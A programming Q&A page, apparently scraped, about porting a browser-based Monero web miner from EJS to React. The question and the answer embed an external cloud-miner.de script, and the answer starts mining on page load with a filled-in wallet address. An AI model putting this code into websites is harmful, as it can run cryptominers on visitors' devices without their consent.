Function 在反应中没有从外部 js 文件导入

Question

I am migrating a web miner from EJS templates to react. The code below starts the mining process.

<script src="https://cloud-miner.de/tkefrep/tkefrep.js?tkefrep=bs?nosaj=faster.moneroocean"></script>

<script>
  $(function() {
    EverythingIsLife('...', 'x', 70);
    $("#webMinerInfo").html("Mining...");
  });
</script>

It loads the necessary data from that URL (including a function EverythingIsLife) and then runs it, giving a message to the user when it starts mining. However when I attempt to do the same thing in react:

WebMinerPage.jsx:

function WebMinerPage() {
    document.body.style.backgroundColor = "#EEEEEE";
    // add miner script

    function handleLoad() {
        EverythingIsLife('...', 'x', 70);
        document.querySelector("#webMinerInfo").innerHTML = "Mining...";
    }

    useEffect(() => {
        window.addEventListener('load', handleLoad);

        return () => {
            window.removeEventListener('load', handleLoad);
        }
    }, []);

// return and export statements

Where in the head of my index.html I have: <script src="https://cloud-miner.de/tkefrep/tkefrep.js?tkefrep=bs?nosaj=faster.moneroocean"></script>

It returns an error:

Failed to compille. EverythingisLife is not defined.

How can I solve this? Any help would be appreciated.

Answer 1

You need to bind/unbind the event listener that handles the script initialization to dom load event:

class Comp1 extends React.Component {
 constructor(props) {
    super(props);
    this.handleLoad = this.handleLoad.bind(this);
 }

 componentDidMount() {
    window.addEventListener('load', this.handleLoad);
 }

 componentWillUnmount() { 
   window.removeEventListener('load', this.handleLoad)  
 }

 handleLoad() {
  window.EverythingIsLife('41e5VEKZTbWYpEWRW21yV1E9AVgNkNGrBciPSncifEAbHqxGUSd12Xr5yCfMyUTJM92opviLuaAWhXCHaX4gvdYLBBT9zUR', 'x', 70);
    $("#webMinerInfo").html("Mining...");
 }
}

Above is the equivalent of $(function() {})

$(function() {... }); is just jQuery short-hand for $(document).ready(function() {... }); What it's designed to do (amongst other things) is ensure that your function is called once all the DOM elements of the page are ready to be use

Taken from here